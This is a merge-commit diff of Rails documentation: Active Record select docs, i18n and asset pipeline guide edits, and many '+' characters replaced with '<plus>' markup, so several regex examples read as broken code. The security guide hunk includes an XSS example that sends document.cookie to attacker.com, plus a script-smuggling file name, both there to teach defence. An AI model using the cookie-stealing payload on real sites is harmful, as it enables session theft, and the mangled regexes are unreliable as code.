Merge branch 'master' of github.com:lifo/docrails

13 files changed, 100 insertions, 28 deletions

diff --git a/activerecord/lib/active_record/relation/query_methods.rb b/activerecord/lib/active_record/relation/query_methods.rb
index a11b7a3864..670ba0987d 100644
--- a/activerecord/lib/active_record/relation/query_methods.rb
+++ b/activerecord/lib/active_record/relation/query_methods.rb
@@ -37,6 +37,35 @@ module ActiveRecord
       relation
     end
 
+    # Works in two unique ways.
+    # 
+    # First: takes a block so it can be used just like Array#select.
+    #
+    #   Model.scoped.select { |m| m.field == value }
+    #
+    # This will build an array of objects from the database for the scope,
+    # converting them into an array and iterating through them using Array#select.
+    #
+    # Second: Modifies the SELECT statement for the query so that only certain
+    # fields are retrieved:
+    #
+    #   >> Model.select(:field)
+    #   => [#<Model field:value>]
+    #
+    # Although in the above example it looks as though this method returns an
+    # array, it actually returns a relation object and can have other query
+    # methods appended to it, such as the other methods in ActiveRecord::QueryMethods.
+    #
+    # This method will also take multiple parameters:
+    #
+    #   >> Model.select(:field, :other_field, :and_one_more)
+    #   => [#<Model field: "value", other_field: "value", and_one_more: "value">]
+    #
+    # Any attributes that do not have fields retrieved by a select
+    # will return `nil` when the getter method for that attribute is used:
+    #
+    #   >> Model.select(:field).first.other_field
+    #   => nil
     def select(value = Proc.new)
       if block_given?
         to_a.select {|*block_args| value.call(*block_args) }
diff --git a/railties/README.rdoc b/railties/README.rdoc
index 501541eb06..95c43045b0 100644
--- a/railties/README.rdoc
+++ b/railties/README.rdoc
@@ -6,7 +6,7 @@ Railties is responsible for gluing all frameworks together. Overall, it:
 
 * manages the +rails+ command line interface;
 
-* and provides Rails generators core.
+* and provides the Rails generators core.
 
 
 == Download
diff --git a/railties/guides/assets/images/i18n/demo_html_safe.png b/railties/guides/assets/images/i18n/demo_html_safe.png
new file mode 100644
index 0000000000..f881f60dac
--- /dev/null
+++ b/railties/guides/assets/images/i18n/demo_html_safe.png
diff --git a/railties/guides/source/action_view_overview.textile b/railties/guides/source/action_view_overview.textile
index 87250c684b..40cde6ad84 100644
--- a/railties/guides/source/action_view_overview.textile
+++ b/railties/guides/source/action_view_overview.textile
@@ -898,7 +898,7 @@ h5. select_year
 Returns a select tag with options for each of the five years on each side of the current, which is selected. The five year radius can be changed using the +:start_year+ and +:end_year+ keys in the +options+.
 
 <ruby>
-# Generates a select field for five years on either side of +Date.today+ that defaults to the current year
+# Generates a select field for five years on either side of Date.today that defaults to the current year
 select_year(Date.today)
 
 # Generates a select field from 1900 to 2009 that defaults to the current year
diff --git a/railties/guides/source/active_record_validations_callbacks.textile b/railties/guides/source/active_record_validations_callbacks.textile
index 20f5e52891..5c3aae2955 100644
--- a/railties/guides/source/active_record_validations_callbacks.textile
+++ b/railties/guides/source/active_record_validations_callbacks.textile
@@ -328,7 +328,7 @@ This helper validates that your attributes have only numeric values. By default,
 If you set +:only_integer+ to +true+, then it will use the
 
 <ruby>
-/\A[+-]?\d+\Z/
+/\A[<plus>-]?\d<plus>\Z/
 </ruby>
 
 regular expression to validate the attribute's value. Otherwise, it will try to convert the value to a number using +Float+.
@@ -597,7 +597,7 @@ The easiest way to add custom validators for validating individual attributes is
 <ruby>
 class EmailValidator < ActiveModel::EachValidator
   def validate_each(record, attribute, value)
-    unless value =~ /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\z/i
+    unless value =~ /\A([^@\s]<plus>)@((?:[-a-z0-9]<plus>\.)+[a-z]{2,})\z/i
       record.errors[attribute] << (options[:message] || "is not an email")
     end
   end
diff --git a/railties/guides/source/active_support_core_extensions.textile b/railties/guides/source/active_support_core_extensions.textile
index d006cc9214..5aee001545 100644
--- a/railties/guides/source/active_support_core_extensions.textile
+++ b/railties/guides/source/active_support_core_extensions.textile
@@ -296,7 +296,7 @@ This method escapes whatever is needed, both for the key and the value:
 
 <ruby>
 account.to_query('company[name]')
-# => "company%5Bname%5D=Johnson+%26+Johnson"
+# => "company%5Bname%5D=Johnson<plus>%26<plus>Johnson"
 </ruby>
 
 so its output is ready to be used in a query string.
@@ -3385,7 +3385,7 @@ They are analogous. Please refer to their documentation above and take into acco
 Time.zone_default
 # => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...>
 
-# In Barcelona, 2010/03/28 02:00 +0100 becomes 2010/03/28 03:00 +0200 due to DST.
+# In Barcelona, 2010/03/28 02:00 <plus>0100 becomes 2010/03/28 03:00 <plus>0200 due to DST.
 t = Time.local_time(2010, 3, 28, 1, 59, 59)
 # => Sun Mar 28 01:59:59 +0100 2010
 t.advance(:seconds => 1)
@@ -3408,7 +3408,7 @@ The method +all_day+ returns a range representing the whole day of the current t
 now = Time.current
 # => Mon, 09 Aug 2010 23:20:05 UTC +00:00
 now.all_day
-# => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Mon, 09 Aug 2010 23:59:59 UTC +00:00
+# => Mon, 09 Aug 2010 00:00:00 UTC <plus>00:00..Mon, 09 Aug 2010 23:59:59 UTC <plus>00:00
 </ruby>
 
 Analogously, +all_week+, +all_month+, +all_quarter+ and +all_year+ all serve the purpose of generating time ranges.
@@ -3417,13 +3417,13 @@ Analogously, +all_week+, +all_month+, +all_quarter+ and +all_year+ all serve the
 now = Time.current
 # => Mon, 09 Aug 2010 23:20:05 UTC +00:00
 now.all_week
-# => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Sun, 15 Aug 2010 23:59:59 UTC +00:00
+# => Mon, 09 Aug 2010 00:00:00 UTC <plus>00:00..Sun, 15 Aug 2010 23:59:59 UTC <plus>00:00
 now.all_month
-# => Sat, 01 Aug 2010 00:00:00 UTC +00:00..Tue, 31 Aug 2010 23:59:59 UTC +00:00
+# => Sat, 01 Aug 2010 00:00:00 UTC <plus>00:00..Tue, 31 Aug 2010 23:59:59 UTC <plus>00:00
 now.all_quarter
-# => Thu, 01 Jul 2010 00:00:00 UTC +00:00..Thu, 30 Sep 2010 23:59:59 UTC +00:00
+# => Thu, 01 Jul 2010 00:00:00 UTC <plus>00:00..Thu, 30 Sep 2010 23:59:59 UTC <plus>00:00
 now.all_year
-# => Fri, 01 Jan 2010 00:00:00 UTC +00:00..Fri, 31 Dec 2010 23:59:59 UTC +00:00
+# => Fri, 01 Jan 2010 00:00:00 UTC <plus>00:00..Fri, 31 Dec 2010 23:59:59 UTC <plus>00:00
 </ruby>
 
 h4. Time Constructors
@@ -3518,8 +3518,8 @@ h4. +around_[level]+
 Takes two arguments, a +before_message+ and +after_message+ and calls the current level method on the +Logger+ instance, passing in the +before_message+, then the specified message, then the +after_message+:
 
 <ruby>
-  logger = Logger.new("log/development.log")
-  logger.around_info("before", "after") { |logger| logger.info("during") }
+logger = Logger.new("log/development.log")
+logger.around_info("before", "after") { |logger| logger.info("during") }
 </ruby>
 
 h4. +silence+
diff --git a/railties/guides/source/ajax_on_rails.textile b/railties/guides/source/ajax_on_rails.textile
index 77f7661deb..29d4fae888 100644
--- a/railties/guides/source/ajax_on_rails.textile
+++ b/railties/guides/source/ajax_on_rails.textile
@@ -104,7 +104,7 @@ Note that if we wouldn't override the default behavior (POST), the above snippet
 link_to_remote "Update record",
   :url => record_url(record),
   :method => :put,
-  :with => "'status=' + 'encodeURIComponent($('status').value) + '&completed=' + $('completed')"
+  :with => "'status=' <plus> 'encodeURIComponent($('status').value) <plus> '&completed=' <plus> $('completed')"
 </ruby>
 
 This generates a remote link which adds 2 parameters to the standard URL generated by Rails, taken from the page (contained in the elements matched by the 'status' and 'completed' DOM id).
@@ -124,6 +124,7 @@ link_to_remote "Add new item",
   404 => "alert('Item not found!')"
 </ruby>
 Let's see a typical example for the most frequent callbacks, +:success+, +:failure+ and +:complete+ in action:
+
 <ruby>
 link_to_remote "Add new item",
   :url => items_url,
@@ -133,6 +134,7 @@ link_to_remote "Add new item",
   :success => "display_item_added(request)",
   :failure => "display_error(request)"
 </ruby>
+
 ** *:type* If you want to fire a synchronous request for some obscure reason (blocking the browser while the request is processed and doesn't return a status code), you can use the +:type+ option with the value of +:synchronous+.
 * Finally, using the +html_options+ parameter you can add HTML attributes to the generated tag. It works like the same parameter of the +link_to+ helper. There are interesting side effects for the +href+ and +onclick+ parameters though:
 ** If you specify the +href+ parameter, the AJAX link will degrade gracefully, i.e. the link will point to the URL even if JavaScript is disabled in the client browser
diff --git a/railties/guides/source/api_documentation_guidelines.textile b/railties/guides/source/api_documentation_guidelines.textile
index c0f709eda8..99eb668513 100644
--- a/railties/guides/source/api_documentation_guidelines.textile
+++ b/railties/guides/source/api_documentation_guidelines.textile
@@ -146,7 +146,7 @@ h3. Description Lists
 In lists of options, parameters, etc. use a hyphen between the item and its description (reads better than a colon because normally options are symbols):
 
 <ruby>
-# * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+.
+# * <tt>:allow_nil</tt> - Skip validation if attribute is <tt>nil</tt>.
 </ruby>
 
 The description starts in upper case and ends with a full stop—it's standard English.
diff --git a/railties/guides/source/asset_pipeline.textile b/railties/guides/source/asset_pipeline.textile
index ce4eafb97c..586a9f46eb 100644
--- a/railties/guides/source/asset_pipeline.textile
+++ b/railties/guides/source/asset_pipeline.textile
@@ -25,6 +25,12 @@ In Rails 3.1, the asset pipeline is enabled by default. It can be disabled in +a
 config.assets.enabled = false
 </plain>
 
+You can also disable it while creating a new application by passing the <tt>--skip-sprockets</tt> option.
+
+<plain>
+rails new appname --skip-sprockets
+</plain>
+
 It is recommended that you use the defaults for all new apps.
 
 
@@ -164,15 +170,15 @@ Note that the closing tag cannot be of the style +-%>+.
 
 h5. CSS and Sass
 
-When using the asset pipeline, paths to assets must be re-written and +sass-rails+ provides +_url+ and +_path+ helpers for the following asset classes: image, font, video, audio, JavaScript and stylesheet.
+When using the asset pipeline, paths to assets must be re-written and +sass-rails+ provides +-url+ and +-path+ helpers (hyphenated in Sass, underscored in Ruby) for the following asset classes: image, font, video, audio, JavaScript and stylesheet.
 
-* +image_url("rails.png")+ becomes +url(/assets/rails.png)+.
-* +image_path("rails.png")+ becomes +"/assets/rails.png"+.
+* +image-url("rails.png")+ becomes +url(/assets/rails.png)+
+* +image-path("rails.png")+ becomes +"/assets/rails.png"+.
 
 The more generic form can also be used but the asset path and class must both be specified:
 
-* +asset_url("rails.png", image)+ becomes +url(/assets/rails.png)+.
-* +asset_path("rails.png", image)+ becomes +"/assets/rails.png"+.
+* +asset-url("rails.png", image)+ becomes +url(/assets/rails.png)+
+* +asset-path("rails.png", image)+ becomes +"/assets/rails.png"+
 
 h5. JavaScript/CoffeeScript and ERB
 
@@ -353,7 +359,7 @@ NOTE. If you are precompiling your assets locally, you can use +bundle install -
 The default matcher for compiling files includes +application.js+, +application.css+ and all files that do not end in +js+ or +css+:
 
 <ruby>
-[ /\w+\.(?!js|css).+/, /application.(css|js)$/ ]
+[ /\w<plus>\.(?!js|css).<plus>/, /application.(css|js)$/ ]
 </ruby>
 
 If you have other manifests or individual stylesheets and JavaScript files to include, you can add them to the +precompile+ array:
diff --git a/railties/guides/source/i18n.textile b/railties/guides/source/i18n.textile
index 4b6b08bcec..81d2ba9a56 100644
--- a/railties/guides/source/i18n.textile
+++ b/railties/guides/source/i18n.textile
@@ -12,7 +12,7 @@ So, in the process of _internationalizing_ your Rails application you have to:
 
 In the process of _localizing_ your application you'll probably want to do the following three things:
 
-* Replace or supplement Rails' default locale -- e.g. date and time formats, month names, Active Record model names, etc
+* Replace or supplement Rails' default locale -- e.g. date and time formats, month names, Active Record model names, etc.
 * Abstract strings in your application into keyed dictionaries -- e.g. flash messages, static text in your views, etc.
 * Store the resulting dictionaries somewhere
 
@@ -91,7 +91,7 @@ This means, that in the +:en+ locale, the key _hello_ will map to the _Hello wor
 
 The I18n library will use *English* as a *default locale*, i.e. if you don't set a different locale, +:en+ will be used for looking up translations.
 
-NOTE: The i18n library takes a *pragmatic approach* to locale keys (after "some discussion":http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en), including only the _locale_ ("language") part, like +:en+, +:pl+, not the _region_ part, like +:en-US+ or +:en-UK+, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as +:cz+, +:th+ or +:es+ (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the +:en-US+ locale you would have $ as a currency symbol, while in +:en-UK+, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a +:en-UK+ dictionary. Various "Rails I18n plugins":http://rails-i18n.org/wiki such as "Globalize2":https://github.com/joshmh/globalize2/tree/master may help you implement it.
+NOTE: The i18n library takes a *pragmatic approach* to locale keys (after "some discussion":http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en), including only the _locale_ ("language") part, like +:en+, +:pl+, not the _region_ part, like +:en-US+ or +:en-UK+, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as +:cs+, +:th+ or +:es+ (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the +:en-US+ locale you would have $ as a currency symbol, while in +:en-UK+, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a +:en-UK+ dictionary. Various "Rails I18n plugins":http://rails-i18n.org/wiki such as "Globalize2":https://github.com/joshmh/globalize2/tree/master may help you implement it.
 
 The *translations load path* (+I18n.load_path+) is just a Ruby Array of paths to your translation files that will be loaded automatically and available in your application. You can pick whatever directory and translation file naming scheme makes sense for you.
 
@@ -365,6 +365,19 @@ NOTE: You need to restart the server when you add new locale files.
 
 You may use YAML (+.yml+) or plain Ruby (+.rb+) files for storing your translations in SimpleStore. YAML is the preferred option among Rails developers. However, it has one big disadvantage. YAML is very sensitive to whitespace and special characters, so the application may not load your dictionary properly. Ruby files will crash your application on first request, so you may easily find what's wrong. (If you encounter any "weird issues" with YAML dictionaries, try putting the relevant portion of your dictionary into a Ruby file.)
 
+h4. Passing variables to translations
+
+You can use variables in the translation messages and pass their values from the view.
+
+<ruby>
+# app/views/home/index.html.erb
+<%=t 'greet_username', :user => "Bill", :message => "Goodbye" %>
+
+# config/locales/en.yml
+en:
+  greet_username: "%{message}, %{user}!"
+</ruby>
+
 h4. Adding Date/Time Formats
 
 OK! Now let's add a timestamp to the view, so we can demo the *date/time localization* feature as well. To localize the time format you pass the Time object to +I18n.l+ or (preferably) use Rails' +#l+ helper. You can pick a format by passing the +:format+ option -- by default the +:default+ format is used.
@@ -448,6 +461,7 @@ Covered are features like these:
 * looking up translations
 * interpolating data into translations
 * pluralizing translations
+* using safe HTML translations
 * localizing dates, numbers, currency, etc.
 
 h4. Looking up Translations
@@ -599,6 +613,27 @@ The +I18n.locale+ defaults to +I18n.default_locale+ which defaults to :+en+. The
 I18n.default_locale = :de
 </ruby>
 
+h4. Using Safe HTML Translations
+
+Keys with a '_html' suffix and keys named 'html' are marked as HTML safe. Use them in views without escaping.
+
+<ruby>
+# config/locales/en.yml
+en:
+  welcome: <b>welcome!</b>
+  hello_html: <b>hello!</b>
+  title:
+    html: <b>title!</b>
+
+# app/views/home/index.html.erb
+<div><%= t('welcome') %></div>
+<div><%= raw t('welcome') %></div>
+<div><%= t('hello_html') %></div>
+<div><%= t('title.html') %></div>
+</ruby>
+
+!images/i18n/demo_html_safe.png(i18n demo html safe)!
+
 h3. How to Store your Custom Translations
 
 The Simple backend shipped with Active Support allows you to store translations in both plain Ruby and YAML format. [2]
diff --git a/railties/guides/source/initialization.textile b/railties/guides/source/initialization.textile
index 8aabc3ae91..32b41fdd2c 100644
--- a/railties/guides/source/initialization.textile
+++ b/railties/guides/source/initialization.textile
@@ -450,7 +450,7 @@ run YourApp::Application
 The +Rack::Builder.parse_file+ method here takes the content from this +config.ru+ file and parses it using this code:
 
 <ruby>
-app = eval "Rack::Builder.new {( " + cfgfile + "\n )}.to_app",
+app = eval "Rack::Builder.new {( " <plus> cfgfile <plus> "\n )}.to_app",
     TOPLEVEL_BINDING, config
 </ruby>
 
diff --git a/railties/guides/source/ruby_on_rails_guides_guidelines.textile b/railties/guides/source/ruby_on_rails_guides_guidelines.textile
index e63f564c83..29aefd25f8 100644
--- a/railties/guides/source/ruby_on_rails_guides_guidelines.textile
+++ b/railties/guides/source/ruby_on_rails_guides_guidelines.textile
@@ -26,7 +26,7 @@ h5. When are Objects Saved?
 Use the same typography as in regular text:
 
 <plain>
-h6. The +:content_type+ Option
+h6. The <tt>:content_type</tt> Option
 </plain>
 
 h3. API Documentation Guidelines
diff --git a/railties/guides/source/security.textile b/railties/guides/source/security.textile
index 4cf9e2a7f3..73c7a80ff6 100644
--- a/railties/guides/source/security.textile
+++ b/railties/guides/source/security.textile
@@ -582,7 +582,7 @@ Ruby uses a slightly different approach than many other languages to match the e
 
 <ruby>
 class File < ActiveRecord::Base
-  validates :name, :format => /^[\w\.\-\+]+$/
+  validates :name, :format => /^[\w\.\-\<plus>]<plus>$/
 end
 </ruby>
 
@@ -595,7 +595,7 @@ file.txt%0A<script>alert('hello')</script>
 Whereas %0A is a line feed in URL encoding, so Rails automatically converts it to "file.txt\n&lt;script&gt;alert('hello')&lt;/script&gt;". This file name passes the filter because the regular expression matches – up to the line end, the rest does not matter. The correct expression should read:
 
 <ruby>
-/\A[\w\.\-\+]+\z/
+/\A[\w\.\-\<plus>]<plus>\z/
 </ruby>
 
 h4. Privilege Escalation
@@ -762,7 +762,7 @@ These examples don't do any harm so far, so let's see how an attacker can steal
 For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victim's cookie.
 
 <html>
-<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
+<script>document.write('<img src="http://www.attacker.com/' <plus> document.cookie <plus> '">');</script>
 </html>
 
 The log files on www.attacker.com will read like this: